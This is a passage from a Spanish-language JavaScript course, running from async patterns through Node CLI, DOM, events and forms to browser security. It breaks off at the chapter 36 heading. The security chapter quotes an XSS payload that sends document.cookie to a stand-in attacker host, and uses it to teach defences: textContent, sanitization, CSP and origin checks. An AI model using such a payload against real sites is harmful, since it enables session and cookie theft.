- Top-level await permitido SOLO en módulos: útil para bootstrap.
- Promise.all dentro del try si quieres fallar rápido; allSettled para tolerantes.
- No hagas await dentro de bucles cuando puedas mapear + all.
- Toda función async que devuelves desde otra debe ser awaited o returned — ESLint (require-await) ayuda.
Puntos clave
- await pausa la función, jamás el event loop.
- Awaits secuenciales innecesarios = latencia multiplicada.
- Async generators + for await: paginación elegante.
- Backoff exponencial: cortesía mínima ante APIs inestables.
23 · Novedades ES2024–ES2026
Avanzado ~15 minIterator helpers, Array.fromAsync, resource management con using y Temporal: lo último que ya puedes usar.
Iterator helpers (ES2025): perezosos de verdad
map/filter sobre arrays crean arrays intermedios completos. Sobre iteradores, trabajan elemento a elemento — sin materializar nada:
function* naturales() { for (let i = 1; ; i++) yield i; }
const primerosPares = naturales() // infinito!
.map(n => n * 2)
.filter(n => n % 4 === 0)
.take(3)
.toArray(); // [4, 8, 12]
// metodos clave: map filter flatMap take drop reduce some every find
// toArray — todos perezosos hasta que toArray/for-of consume
Array.fromAsync (ES2024)
// recolectar paginas de una API en un solo array
async function* paginar(base) {
for (let pagina = 1; pagina <= 5; pagina++) {
const r = await fetch(`${base}?page=${pagina}`);
yield* await r.json();
}
}
const productos = await Array.fromAsync(paginar("/api/productos"));
console.log(`${productos.length} productos cargados`);
Resource management: using / dispose (ES2026)
El estándar adoptó el patrón RAII: objetos con Symbol.dispose se liberan
automáticamente al salir del bloque — síncrona o asíncronamente:
class Conexion {
static contador = 0;
constructor() { this.id = ++Conexion.contador; console.log(`abierta #${this.id}`); }
consulta() { return `datos #${this.id}`; }
[Symbol.dispose]() { console.log(`cerrada #${this.id}`); }
}
{
using c1 = new Conexion(); // se cierra SOLA al salir, incluso si hay throw
using c2 = new Conexion();
console.log(c1.consulta());
}
// abierta #1, abierta #2, datos #1, cerrada #2, cerrada #1 (orden inverso)
// version asincrona: await using c = ... con Symbol.asyncDispose
Temporal: la muerte anunciada de Date
Temporal corrige décadas de sufrimiento: meses 1–12, zonas horarias explícitas, inmutabilidad. Proceso TC39 en etapa final; los navegadores estables lo van incorporando durante 2026. Así se ve:
// API objetivo (activarla tras disponibilidad general):
const cita = Temporal.PlainDate.from("2026-09-18"); // septiembre = 9! (no 8)
cita.plus({ days: 10 }).toString(); // "2026-09-28"
const reunion = Temporal.ZonedDateTime.from({
timeZone: "America/Lima",
year: 2026, month: 9, day: 18, hour: 15,
});
reunion.withTimeZone("Europe/Madrid").hour; // 22 — conversion correcta
// mientras tanto, Intl.DateTimeFormat ya cubre formateo seguro (cap. 9)
Mapa de adopción
| Función | Edition | Navegadores | Node 22 |
|---|---|---|---|
| Object.groupBy / Map.groupBy | ES2024 | ✔ estables | ✔ |
| Promise.withResolvers | ES2024 | ✔ estables | ✔ |
| Array.fromAsync | ES2024 | ✔ estables | ✔ |
| Iterator helpers | ES2025 | ✔ estables | ✔ |
| Set methods | ES2025 | ✔ estables | ✔ |
| using / dispose | ES2026 | parcial / flags | experimental |
| Temporal | en camino | incorporándose | polidato mientras |
Consulta siempre caniuse.com antes de usar novedades en producción; para ES2026+ considera TypeScript o transpilación.
Puntos clave
- Iterator helpers: pipelines perezosos incluso sobre secuencias infinitas.
- Array.fromAsync convierte cualquier flujo async en array.
- using/[Symbol.dispose]: liberación automática estilo try-finally garantizado.
- Temporal llega para jubilar Date: meses 1–12 y zonas horarias sanas.
24 · JSON profundo
Intermedio ~13 minreplacer/reviver, toJSON y el mapa completo de lo que JSON no puede guardar.
const pedido = { id: 7, total: 129.9, creado: new Date("2026-08-23T12:00:00") };
const texto = JSON.stringify(pedido);
// {"id":7,"total":129.9,"creado":"2026-08-23T12:00:00.000Z"}
// pretty para archivos de configuracion / logs
JSON.stringify(pedido, null, 2);
replacer: filtrar o transformar al serializar
// por lista de claves
JSON.stringify(pedido, ["id", "total"]);
// o por funcion (this = objeto contenedor)
const limpio = JSON.stringify(pedido, (clave, valor) =>
clave === "interno" ? undefined : valor // undefined = se elimina
);
reviver: revivir tipos perdidos
const vuelta = JSON.parse(texto, (clave, valor) =>
clave === "creado" ? new Date(valor) : valor
);
vuelta.creado instanceof Date; // true — Date volvio a la vida
// toJSON: la clase decide su forma serializable
class Dinero {
constructor(centimos) { this.centimos = centimos; }
toJSON() { return { __dinero: true, centimos: this.centimos }; }
}
JSON.parse(JSON.stringify({ precio: new Dinero(12990) }));
Lo que JSON NO guarda (memorízalo)
| Tipo | Tras roundtrip JSON |
|---|---|
| Date | string ISO (revive a mano) |
| undefined / funciones | desaparecen del objeto |
| NaN / Infinity | null |
| Map / Set / RegExp | { } vacío |
| BigInt | TypeError: lanza! |
| Referencias cíclicas | TypeError: lanza! |
const a = {}; a.soyYo = a;
// JSON.stringify(a); // TypeError: Converting circular structure
// copia profunda SIN drama: structuredClone soporta ciclos, Map, Set, fechas...
const clon = structuredClone(a);
clon.soyYo === clon; // true — ciclo preservado
parse seguro: el patrón [error, datos]
function parseSeguro(texto) {
try {
return [null, JSON.parse(texto)];
} catch {
return [new SyntaxError("JSON invalido"), null];
}
}
const [err, config] = parseSeguro(localStorage.getItem("config"));
if (err) console.warn("config dañada, usando defaults");
JSON5/JSONC existen (comentarios, claves sin comillas) pero requieren librerías: el estándar del navegador es JSON estricto.
Puntos clave
- replacer filtra; reviver reconstruye (fechas!).
- toJSON da control de serialización por clase.
- Ciclos y BigInt lanzan; structuredClone copia profunda real.
- parseSeguro: nunca dejes que localStorage tumbé tu app.
25 · Fechas: Date y el camino a Temporal
Intermedio ~14 minDomina Date sabiendo dónde muerde, y prepara la migración a Temporal.
Las cuatro formas de crear
const ahora = new Date();
// componentes LOCALES — mes 0-11 (!), dia 1-31
const independencia = new Date(2026, 6, 28); // 28 de JULIO
// desde string ISO — SIN hora se interpreta como UTC midnight
const iso = new Date("2026-08-23"); // 2026-08-23T05:00 en Lima!
// epoch milisegundos
const epoch = new Date(0); // 1 enero 1970 UTC
Date es mutable: el bug silencioso
const inicio = new Date(2026, 0, 1);
inicio.setMonth(inicio.getMonth() + 1); // MUTA el original!
console.log(inicio.getMonth()); // 1 — y quien tenia "inicio" ya no lo tiene
// patron inmutable: clona antes de tocar
function sumarMeses(fecha, n) {
const copia = new Date(fecha);
copia.setMonth(copia.getMonth() + n);
return copia;
}
Aritmética segura con Date.UTC
// dias entre fechas SIN sorpresas de horario de verano
function diasEntre(a, b) {
const utcA = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());
const utcB = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());
return Math.round((utcB - utcA) / 86_400_000); // ms por dia
}
diasEntre(new Date(2026, 6, 28), new Date(2026, 7, 30)); // 33
// comparar fechas (sin hora): normaliza a medianoche local
const medianoche = f => new Date(f.getFullYear(), f.getMonth(), f.getDate());
medianoche(f1) <= medianoche(hoy) && hoy <= medianoche(f2);
Leer y formatear
| Método | Devuelve |
|---|---|
| getFullYear / getMonth / getDate | año / mes 0–11 / día del mes (LOCAL) |
| getDay | día de SEMANA 0–6 (domingo = 0) |
| getTime / toISOString | epoch ms / "2026-08-23T17:00:00.000Z" |
| toLocaleDateString("es-PE") | "23/8/2026" |
// countdown hasta el lanzamiento
const restante = objetivo - Date.now(); // resta de epochs = ms
const dias = Math.floor(restante / 86_400_000);
const horas = Math.floor(restante % 86_400_000 / 3_600_000);
Checklist hacia Temporal
- Hoy: encapsula TODA aritmética en helpers propios (sumarMeses, diasEntre).
- Hoy: guarda ISO strings completos (con hora y Z) en APIs/storage.
- Mañana: cada helper se traduce 1:1 a Temporal.PlainDate/ZonedDateTime (cap. 23).
Puntos clave
- Meses 0–11; getDay es día de semana; ISO sin hora = UTC.
- Date muta: clona antes de setXxx.
- Aritmética de días: Date.UTC + Math.round, nunca restas locales crudas.
- Encapsula en helpers: la migración a Temporal será trivial.
26 · Expresiones regulares modernas
Avanzado ~15 minNamed groups, flag d/v, lookaround y validaciones reales del contexto peruano.
// dos formas equivalentes
const r1 = /\d{8}/; // literal (preferida)
const r2 = new RegExp("\\d{8}"); // constructor cuando el patron llega dinamico
r1.test("12345678"); // true — test: booleano rapido
"abc 12345678".match(r1); // match: detalles o null
r1.exec("..."); // exec: igual a match con flag g avanza indice
Grupos nombrados: legibilidad real
const fecha = /(?<dia>\d{1,2})-(?<mes>\d{1,2})-(?<anio>\d{4})/;
const m = "naci el 30-8-2003".match(fecha);
m.groups.dia; // "30"
m.groups.anio; // "2003"
// reemplazos con nombres (sin contar posiciones!)
"30-8-2003".replace(fecha, "$<anio>-$<mes>-$<dia>"); // "2003-8-30"
Flag d: índices exactos (ES2022)
const r = /(a)(b)/d;
"aXba".match(r).indices; // [[1,2],[1,2],[2,3]] — posiciones de TODO y de cada grupo
// util para resaltados de sintaxis y editores
Flag v: unicode sets (ES2024)
// v sustituye a u y agrega conjuntos/intersecciones:
const letra = /[\p{L}--[aeiou]]/v; // letras MENOS vocales ascii
letra.test("z"); // true
letra.test("a"); // false
/\p{Script=Greek}/v.test("Ω"); // true
// substraccion de clases: imposible limpia antes de ES2024
Lookaround: mirar sin consumir
// lookbehind: precedido de S/ pero SIN incluirlo
"S/ 129.90".match(/(?<=S\/\s)\d+(\.\d{2})?/)[0]; // "129.90"
// lookahead negativa: contraseña con al menos un numero
/^(?=.*\d).{8,}$/.test("clave2026"); // true
// separador de miles al estilo contable
"1299990".replace(/\B(?=(\d{3})+(?!\d))/g, ","); // "1,299,990"
Caja de herramientas Perú
| Dato | Regex | Ejemplo válido |
|---|---|---|
| DNI | /^\d{8}$/ | 70451238 |
| Celular | /^9\d{8}$/ | 987654321 |
| RUC | /^(10|20)\d{9}$/ | 20512345678 |
| Placa antigua | /^[A-Z]{3}-\d{3}$/ | ABC-123 |
| Placa nueva | /^[A-Z]\d{3}[A-Z]{3}$/ | A123BCD |
Puntos clave
- Named groups + $<nombre>: regex mantenibles.
- Flag d da índices; flag v trae álgebra de clases Unicode.
- Lookbehind/lookahead validan contexto sin capturarlo.
- test() para validar; match() para extraer.
27 · Storage del navegador
Intermedio ~14 minlocalStorage/sessionStorage, cookies vistas desde JS e IndexedDB sin miedo.
Web Storage: diccionario persistente
localStorage.setItem("tema", "oscuro");
localStorage.getItem("tema"); // "oscuro"
localStorage.removeItem("tema");
localStorage.clear(); // bota TODO el origen
// solo strings: serializa objetos tu mismo (con parse seguro!)
localStorage.setItem("carrito", JSON.stringify([{ sku: "CAF-01", cant: 2 }]));
const [err, carrito] = parseSeguro(localStorage.getItem("carrito"));
// sessionStorage: identico pero muere al cerrar la pestaña
sessionStorage.setItem("scrollPos", "1240");
| Propiedad | localStorage | sessionStorage |
|---|---|---|
| Vida útil | permanente (hasta borrar) | pestaña abierta |
| Compartido entre pestañas | sí | no |
| Cuota típica | ~5 MB por origen | |
| Ámbito | origen completo (protocolo + dominio + puerto) | |
Cookies: la vista JS (limitada a propósito)
document.cookie = "idioma=es; max-age=31536000; path=/; Secure; SameSite=Lax";
document.cookie; // "idioma=es" — SOLO las no HttpOnly, sin atributos
// borrar: misma clave con expiracion pasada
document.cookie = "idioma=; max-age=0; path=/";
IndexedDB: la base NoSQL del navegador
API antigua y verbosa basada en eventos; con un mini-wrapper promisificado queda usable:
function abrirDB(nombre, version, migrar) {
return new Promise((resolve, reject) => {
const req = indexedDB.open(nombre, version);
req.onupgradeneeded = () => migrar(req.result); // crear stores
req.onsuccess = () => resolve(req.result);
req.onerror = () => reject(req.error);
});
}
function tx(store, modo, trabajo) {
return new Promise((resolve, reject) => {
const t = db.transaction(store, modo);
const out = trabajo(t.objectStore(store));
t.oncomplete = () => resolve(out?.result ?? null);
t.onerror = () => reject(t.error);
});
}
let db;
async function demo() {
db = await abrirDB("tienda", 1,
d => d.createObjectStore("pendientes", { keyPath: "id" }));
await tx("pendientes", "readwrite",
s => s.put({ id: 7, total: 129.9, sincronizado: false }));
const pedido7 = await tx("pendientes", "readonly", s => s.get(7));
console.log(pedido7.total); // 129.9 — objetos reales, sin JSON
}
¿Cuál uso?
| Necesidad | Herramienta |
|---|---|
| Preferencias pequeñas (tema, idioma) | localStorage |
| Borradores/estado por pestaña | sessionStorage |
| Datos estructurados grandes, offline-first | IndexedDB |
| Sesión/tokens que el servidor debe leer | cookie HttpOnly (backend) |
Modo incógnito y bloqueo de terceros pueden limitar storage: envuelve siempre en try/catch o feature-detect. La librería idb promisifica IndexedDB con 600 bytes si prefieres no mantener tu propio wrapper.
Puntos clave
- Storage guarda strings: JSON + parseSeguro siempre.
- Ámbito por origen; ~5 MB; sessionStorage muere con la pestaña.
- HttpOnly protege cookies de sesión frente a XSS: es buena señal.
- IndexedDB = objetos reales indexados para offline; wrapper promisificado obligatorio.
28 · Node en serio: process, env y ESM
Intermedio ~13 minEl objeto process, variables de entorno sin librerías y módulos ES nativos en Node.
process: tu ventana al sistema
process.version; // v22.17.0
process.platform; // 'linux' | 'win32' | 'darwin'
process.pid; // id del proceso
// argumentos de linea de comandos
process.argv; // [node, script, ...los tuyos]
// variables de entorno
process.env.HOME ??= "/tmp";
if (!process.env.API_TOKEN) {
console.error("falta API_TOKEN");
process.exit(1); // codigo != 0 = fallo para scripts/CI
}
Variables de entorno con --env-file
Desde Node 20 ya no necesitas dotenv para el caso básico:
# .env — NO se sube al repositorio
API_URL=http://localhost:3000
DB_PASSWORD=s3cr3t
$ node --env-file=.env app.mjs
ESM en Node: un solo lenguaje de módulos
{
"name": "js-curso-cli",
"type": "module",
"scripts": {
"start": "node src/app.mjs"
}
}
"type": "module"⇒ los .js del paquete son ESM (import/export reales).- Las rutas relativas EXIGEN extensión:
./utilidades.js. - Módulos del sistema con prefijo:
import fs from "node:fs". - Top-level await permitido en módulos: bootstrap directo.
Rutas correctas en ESM
import { fileURLToPath } from "node:url";
import path from "node:path";
const aqui = path.dirname(fileURLToPath(import.meta.url));
const configPath = path.join(aqui, "..", "config.json");
console.log(configPath);
// __dirname no existe en ESM: import.meta.url es su sucesor oficial
¿Estoy en navegador o en Node?
// deteccion robusta de contexto
const enNavegador = typeof window !== "undefined" && typeof document !== "undefined";
export function log(mensaje) {
if (enNavegador) console.log(`[web] ${mensaje}`);
else console.log(`[node ${process.platform}] ${mensaje}`);
}
// util para bibliotecas isomorficas (que corren en ambos mundos)
Puntos clave
- process.env + --env-file: configuración 12-factor sin dependencias.
- "type": "module": ESM nativo; extensiones obligatorias.
- import.meta.url reemplaza a __dirname.
- Detección window/document para código dual web/node.
29 · CLI: argumentos e interacción
Intermedio ~14 minutil.parseArgs, readline/promises y los códigos de salida que esperan los scripts.
process.argv crudo
$ node exportar.js productos.csv --limite 50 --zip
# argv = [ruta-node, ruta-script, 'productos.csv', '--limite', '50', '--zip']
Los dos primeros elementos no son tuyos. Parsear a mano funciona… hasta que aparecen banderas opcionales. Para eso existe el módulo estándar:
util.parseArgs: flags tipados
// bin/exportar.mjs — script ejecutable del proyecto
import { parseArgs } from "node:util";
const { values, positionals } = parseArgs({
allowPositionals: true,
options: {
limite: { type: "string", default: "100" }, // --limite 50
zip: { type: "boolean", default: false }, // --zip
ayuda: { type: "boolean", short: "h" },
},
});
if (values.ayuda) {
console.log("Uso: node exportar.mjs [archivo] --limite N --zip");
process.exit(0);
}
console.log(positionals[0], Number(values.limite), values.zip);
// productos.csv 50 true
- type boolean: bandera sola vale true; string exige un valor.
- Falta un requerido ⇒ lanza error: atrápalo y muestra ayuda.
- Para CLIs grandes existe yargs/commander; parseArgs cubre scripts propios sin dependencias.
Interacción con readline/promises
import readline from "node:readline/promises";
import { stdin as entrada, stdout as salida } from "node:process";
const rl = readline.createInterface({ input: entrada, output: salida });
const nombre = await rl.question("¿Tu nombre? ");
const seguro = (await rl.question("¿Confirmar pedido? (s/n) ")).trim().toLowerCase() === "s";
rl.close();
if (!seguro) {
console.error("Pedido cancelado");
process.exit(1); // salida con error: los scripts lo detectan
}
console.log(`Listo, ${nombre}. Pedido enviado.`);
stdout contra stderr y códigos de salida
| Herramienta | Río por defecto | Para qué |
|---|---|---|
| console.log / process.stdout.write | stdout | DATOS del programa (pipeable) |
| console.error / process.stderr.write | stderr | Mensajes de error/progreso |
| process.exit(0) | — | éxito explícito (implícito al terminar) |
| process.exit(1) | — | fallo: CI y bash comprueban $? |
# gracias a la separacion, tu CLI compone como unix:
$ node exportar.mjs productos.csv > productos.txt
$ node exportar.mjs malo.csv 2> errores.log ; echo "salio con $?"
Puntos clave
- argv[0..1] no son tuyos: usa parseArgs desde el índice 2.
- readline/promises: pregunta-respuesta awaitable nativo.
- Datos por stdout, errores por stderr, fallo = exit(1).
- Ayuda con -h/--ayuda no es opcional en una CLI seria.
30 · Scripts largos: streams, workers y señales
Avanzado ~15 minProcesar gigas con memoria plana, descargar CPU a workers y apagar con elegancia.
Streams: memoria constante aunque el archivo sea enorme
// ANTI-PATRON: readFile carga TODO a RAM
// const todo = await fs.readFile("ventas-2026.csv", "utf8"); // 2 GB = OOM
import fs from "node:fs";
import readline from "node:readline";
const rl = readline.createInterface({
input: fs.createReadStream("ventas-2026.csv"),
crlfDelay: Infinity,
});
let total = 0, lineaNro = 0;
for await (const linea of rl) {
if (++lineaNro === 1) continue; // encabezado
const [sku, , monto] = linea.split(",");
total += Number(monto) || 0;
}
console.log({ lineaNro: lineaNro - 1, total }); // RAM usada: kilobytes
- pipe/tuberías componen:
readStream.pipe(gzip).pipe(writeStream). - Regla: si el tamaño del input no lo controlas tú ⇒ stream.
worker_threads: CPU pesada fuera del event loop
// hash-pesado.worker.mjs
import { parentPort, workerData } from "node:worker_threads";
let x = BigInt(workerData.semilla);
for (let i = 0; i < 5e7; i++) x = (x * 1103515245n + 12345n) & 0xffffffffffffn;
parentPort.postMessage(x.toString(16));
// principal.mjs — el event loop sigue atento mientras otro hilo sufre
import { Worker } from "node:worker_threads";
const resultado = await new Promise((resolve, reject) => {
new Worker("./hash-pesado.worker.mjs", { workerData: { semilla: 7 } })
.on("message", resolve)
.on("error", reject);
});
console.log("hash:", resultado); // UI/API sin tirones durante el calculo
Apagado elegante con SIGINT
let cerrando = false;
async function apagar(senal) {
if (cerrando) return process.exit(130); // segundo Ctrl+C: salida forzada
cerrando = true;
console.log(`\n${senal} recibido: cerrando...`);
clearInterval(intervaloTareas); // 1. detener trabajo nuevo
await volcarPendientesADisco(); // 2. persistir estado
console.log("listo");
process.exit(0); // 3. salir limpio
}
process.on("SIGINT", () => apagar("SIGINT")); // Ctrl+C
process.on("SIGTERM", () => apagar("SIGTERM")); // docker stop / kill
Última línea de defensa
// capturar para LOGUEAR y morir con dignidad:
process.on("uncaughtException", (err) => {
console.error("no capturado:", err);
// registrar en servicio externo y salir: el proceso queda en estado incierto
process.exit(1);
});
process.on("unhandledRejection", (razon) => {
console.error("promesa rechazada sin catch:", razon);
process.exit(1);
});
Puntos clave
- Input de tamaño desconocido ⇒ streams + for await.
- CPU intensiva ⇒ worker_threads; el loop principal nunca se bloquea.
- SIGINT/SIGTERM: parar entradas → volcar estado → exit limpio.
- uncaughtException loguea y muere; reiniciar es trabajo del supervisor.
31 · Procesos hijos y fs completa
Intermedio ~14 minspawn/execFile/fork bien elegidos, la API moderna fs/promises y rutas a prueba de SO.
child_process: tres formas de llamar al exterior
| Función | Devuelve | Cuándo |
|---|---|---|
| execFile(cmd, args) | buffer completo al terminar | salida pequeña y esperable |
| spawn(cmd, args) | streams en vivo | salida grande/continua (logs) |
| fork(modulo.js) | canal IPC con otro proceso node | paralelismo con mensajes |
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const ejecutar = promisify(execFile);
// NUNCA concatenes input de usuario en comandos:
// execFile recibe ARGUMENTOS como array — sin shell, sin inyeccion
const { stdout } = await ejecutar("git", ["log", "--oneline", "-5"]);
console.log(stdout);
try {
await ejecutar("git", ["push"]);
} catch (error) {
console.error("codigo", error.code, "stderr:", error.stderr.slice(0, 200));
}
fs/promises: el sistema de archivos moderno
import fs from "node:fs/promises";
await fs.mkdir("reportes/2026", { recursive: true }); // crea padres si faltan
await fs.writeFile("reportes/2026/agosto.json",
JSON.stringify({ ventas: 12990 }, null, 2));
const contenido = await fs.readFile("reportes/2026/agosto.json", "utf8");
const lista = await fs.readdir("."); // nombres del dir
const info = await fs.stat("reportes/2026/agosto.json");
info.isFile(); // true
info.size; // bytes
info.mtime; // Date de modificacion
await fs.rm("reportes/viejo", { recursive: true, force: true }); // borrado seguro
path: aritmética de rutas multiplataforma
| Función | Ejemplo | Resultado |
|---|---|---|
| join(a, b) | join("src", "../docs") | "docs" |
| resolve(p) | resolve("./x") | ruta ABSOLUTA desde cwd |
| basename/extname | ("app.test.js") | "app.test.js" / ".js" |
| sep | — | / en unix, \ en win32 |
// concatenar con + rompe Windows: usa SIEMPRE join
const destino = path.join(aqui, "salida", `informe-${fecha}.csv`);
Errores típicos del sistema de archivos
| Código | Sentido | Reacción sana |
|---|---|---|
| ENOENT | no existe archivo/dir | crear o avisar con ruta exacta |
| EEXIST | y existe (mkdir sin recursive) | recursive:true o ignorar |
| EACCES / EPERM | sin permisos | documentar permisos requeridos |
| EBUSY | archivo en uso (Windows) | reintentar con backoff |
Vigilancia simple de cambios: fs.watch(dir) devuelve un watcher con eventos change/rename — suficiente para recargas locales; para producción usa chokidar (más fiable entre SO).
Puntos clave
- execFile con array de args = inmune a inyección de shell.
- spawn cuando la salida fluye; fork para IPC entre nodos.
- fs/promises + mkdir recursive cubren el 95% de casos.
- path.join siempre; error.code te dice cómo reaccionar.
32 · El DOM: seleccionar y mutar
Intermedio ~14 minEl árbol vivo del documento: consultas modernas, creación de nodos y el costo de cada cambio.
El navegador convierte tu HTML en un árbol de objetos: el DOM.
Dos reglas de oro desde hoy: consulta con querySelector y muta lo mínimo —
cada cambio puede disparar recálculo de layout.
Consultas
// selectores CSS = poder total
document.querySelector(".card.destacado"); // primer match o null
document.querySelectorAll("li.pendiente"); // NodeList estatica
// NodeList tiene forEach; para map/filter, expande:
[...document.querySelectorAll(".precio")].map(el => Number(el.dataset.valor));
// legacy util: rapido y unico
document.getElementById("total");
Contenido, data-attrs y clases
const celda = document.querySelector("#total");
celda.textContent = "S/ 129.90"; // TEXTO plano: seguro SIEMPRE
// celda.innerHTML = "<b>" + userInput + "</b>"; // PELIGRO XSS (cap. 35)
const fila = document.querySelector("[data-sku]");
fila.dataset.sku; // "CAF-01"
fila.dataset.stockMinimo = "5"; // escribe data-stock-minimo
fila.classList.add("bajo-minimo");
fila.classList.toggle("seleccionado", true);
fila.classList.remove("oculto");
Crear, insertar, quitar
const li = document.createElement("li");
li.textContent = "Café Chanchamayo";
li.classList.add("producto");
lista.append(li); // al final | prepend(): al inicio
li.remove(); // borrado moderno
li.replaceWith(otroNodo); // swap directo
// lote grande? DocumentFragment = UN solo reflow
const frag = document.createDocumentFragment();
for (const p of productos) {
const item = document.createElement("li");
item.textContent = `${p.nombre} — S/ ${p.precio}`;
frag.append(item);
}
lista.append(frag);
El costo invisible: reflow
| Operación | Costo | Motivo |
|---|---|---|
| Cambiar color/clase | bajo | solo repaint |
| Insertar/borrar nodos | alto | reflow del layout |
| Leer offsetWidth tras escribir | altísimo | fuerza recálculo síncrono |
// MAL (layout thrashing): alterna lectura/escritura en bucle
for (const el of items) {
el.style.height = el.offsetHeight + 10 + "px"; // lee+escribe x1000
}
// BIEN: primero TODAS las lecturas, luego TODAS las escrituras
const alturas = [...items].map(el => el.offsetHeight);
[...items].forEach((el, i) => { el.style.height = alturas[i] + 10 + "px"; });
Puntos clave
- querySelector/querySelectorAll: la puerta estándar al árbol.
- textContent siempre que no haya HTML de por medio.
- dataset + classList: la API civilizada de atributos.
- Lotes con DocumentFragment; nunca alternar lecturas/escrituras de layout.
33 · Eventos y delegación
Intermedio ~14 minEl viaje de un evento, target contra currentTarget, delegación y eventos custom.
const boton = document.querySelector("#enviar");
function enviar(evento) {
evento.preventDefault(); // cancela el comportamiento nativo
console.log("enviando...");
}
boton.addEventListener("click", enviar);
boton.removeEventListener("click", enviar); // misma REFERENCIA de funcion
boton.addEventListener("click", () => {}, { once: true }); // auto-remove
target NO es currentTarget
| Propiedad | Es… |
|---|---|
event.target | dónde NACIÓ el evento (el clic real) |
event.currentTarget | dónde ESTÁ ESCUCHANDO ahora (el elemento con el listener) |
Burbujeo y captura
Un click viaja: fase de captura (document → objetivo), llega al
objetivo y regresa burbujeando (objetivo → document). Los listeners escuchan la fase de
burbuja salvo { capture: true }.
document.body.addEventListener("click", e => {
console.log("burbuja llego a body desde:", e.target.tagName);
});
Delegación: un listener para mil elementos
Aprovecha el burbujeo: escucha en el CONTENEDOR y pregunta quién nació ahí. Funciona también con elementos creados después:
lista.addEventListener("click", (e) => {
const item = e.target.closest("li.producto");
if (!item) return; // click en el contenedor mismo
if (e.target.matches(".borrar")) {
item.remove();
return;
}
item.classList.toggle("seleccionado");
});
// nuevos <li> añadidos mañana YA responden sin registrar nada
preventDefault contra stopPropagation
| Llamada | Efecto |
|---|---|
| preventDefault() | cancele el comportamiento NATIVO (submit recarga, link navega) |
| stopPropagation() | frena el viaje hacia otros listeners — úsala con juicio: rompe delegaciones ajenas |
Eventos custom: tus propios verbos
// emisor (p. ej., dentro de un componente carrito)
carrito.dispatchEvent(new CustomEvent("carrito:cambio", {
bubbles: true,
detail: { items: 3, total: 129.9 },
}));
// consumidor (cualquier ancestro)
document.addEventListener("carrito:cambio", (e) => {
badge.textContent = `${e.detail.items}`;
});
// desacopla modulos sin importarlos: el patron base de los Web Components
Puntos clave
- removeEventListener exige la misma referencia; once:true para one-shots.
- target = origen; currentTarget = quien escucha.
- Delegación + closest(): listas dinámicas sin fugas de listeners.
- CustomEvent con detail: comunicación desacoplada entre módulos.
34 · Formularios y validación nativa
Intermedio ~14 minFormData, constraint validation API y mensajes de error que la abuela entiende.
Leer formularios sin sufrir
form.addEventListener("submit", async (e) => {
e.preventDefault(); // sin recarga de pagina
const datos = Object.fromEntries(new FormData(form));
// { nombre: "Percy", celular: "987654321", distrito: "SJL" }
const respuesta = await fetch("/api/pedidos", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(datos),
});
});
Constraint validation: gratis y accesible
Los atributos HTML ya validan ANTES de tu JS: required,
minlength/maxlength, min/max, type="email",
pattern. Tu trabajo es leer el estado:
// validacion en vivo por campo
const celular = form.elements.celular;
celular.addEventListener("input", () => {
if (celular.validity.valid) {
campoError.textContent = "";
return;
}
// mensajes HUMANOS segun el tipo de falla
const v = celular.validity;
campoError.textContent =
v.valueMissing ? "Ingresa tu número de celular"
: v.patternMismatch ? "Debe empezar con 9 y tener 9 dígitos"
: "Valor inválido";
});
// pattern del input hace el trabajo sucio:
// <input name="celular" pattern="9[0-9]{8}" required>
setCustomValidity: reglas de negocio
async function validarRuc(input) {
if (!input.value) return;
const r = await fetch(`/api/ruc/${input.value}`);
input.setCustomValidity(r.ok ? "" : "RUC no registrado en SUNAT");
}
// setCustomValidity("") LIMPIA el estado; cualquier otro texto invalida el campo.
// reportValidity() muestra los globos nativos del navegador si prefieres no pintarlos.
Submit condicional: UX correcta
form.addEventListener("submit", (e) => {
if (!form.checkValidity()) {
e.preventDefault();
form.reportValidity(); // globos nativos agrupados
form.querySelector(":invalid")?.focus(); // al primer error
return;
}
boton.disabled = true; // evita doble envío
enviarPedido();
});
aria-describedby) y anuncia errores en una región
aria-live="polite". La validación nativa ya es leíble por lectores de pantalla.Puntos clave
- Object.fromEntries(FormData): payload JSON en una línea.
- validity object te dice POR QUÉ falló: mensaje específico.
- setCustomValidity para reglas de negocio asíncronas.
- Deshabilitar botón al enviar contra dobles submits.
35 · Seguridad en el navegador
Avanzado ~15 minXSS en sus tres sabores, CSP como cinturón, postMessage verificado y cadena de suministro.
XSS: inyectar código donde tu app confía
// el usuario escribe esto como "comentario":
// <img src=x onerror="fetch('evil.pe?c='+document.cookie)">
// VULNERABLE: innerHTML ejecuta el payload
comentarios.innerHTML += `<p>${texto}</p>`;
// SEGURO: textContent muestra el texto literal
const p = document.createElement("p");
p.textContent = texto;
comentarios.append(p);
| Tipo | Dónde vive | Ejemplo |
|---|---|---|
| Almacenado | BD del servidor | comentario malicioso visible a todos |
| Reflejado | URL/parámetro | ?q=<script>... devuelto tal cual |
| DOM-based | solo frontend | innerHTML con location.hash |
- Regla única defendible: nunca innerHTML con datos de origen incierto.
- ¿HTML rico imprescindible? Sanitiza con DOMPurify antes de inyectar.
- El backend también escapa (lo practicaste con PHP cap. 34) — defensa en profundidad.
CSP: el cinturón que limita el daño
Content-Security-Policy se declara como header HTTP o meta en el head
(<meta http-equiv="Content-Security-Policy" content="...">). La política
recomendada para empezar:
{
"default-src": "'self'",
"script-src": "'self'",
"img-src": "'self' data:"
}
Con script-src 'self', un payload XSS inline NO se ejecuta: el navegador lo bloquea aunque tu JS tenga una falla. Empieza report-only para medir y luego activa. Costo real: adiós scripts inline — usa archivos externos (ya lo hacemos).
postMessage entre ventanas: verificar el origen
// receptor: SIEMPRE comprobar quien habla
window.addEventListener("message", (e) => {
if (e.origin !== "https://pasarela.confiable.pe") return; // rechazar extraños
procesar(e.data);
});
// emisor: destino EXPLICITO, jamas "*"
iframe.contentWindow.postMessage({ monto: 129.9 }, "https://pasarela.confiable.pe");
Cadena de suministro npm (adelanto cap. 37)
- Un paquete comprometido se ejecuta CON TUS PERMISOS en cada visitante.
- Higiene: lockfile commiteado,
npm auditen CI, dependencias mínimas, versiones exactas para paquetes pequeños no mantenidos.
Puntos clave
- XSS: almacenado/reflejado/DOM — mismo antídoto: nunca innerHTML con input.
- CSP 'self': el XSS deja de ejecutarse incluso con bug presente.
- postMessage sin verificar origin = puerta abierta a cualquiera.
- Cliente filtra por UX; servidor decide por seguridad.
36 · Red: fetch, AJAX y WebSockets
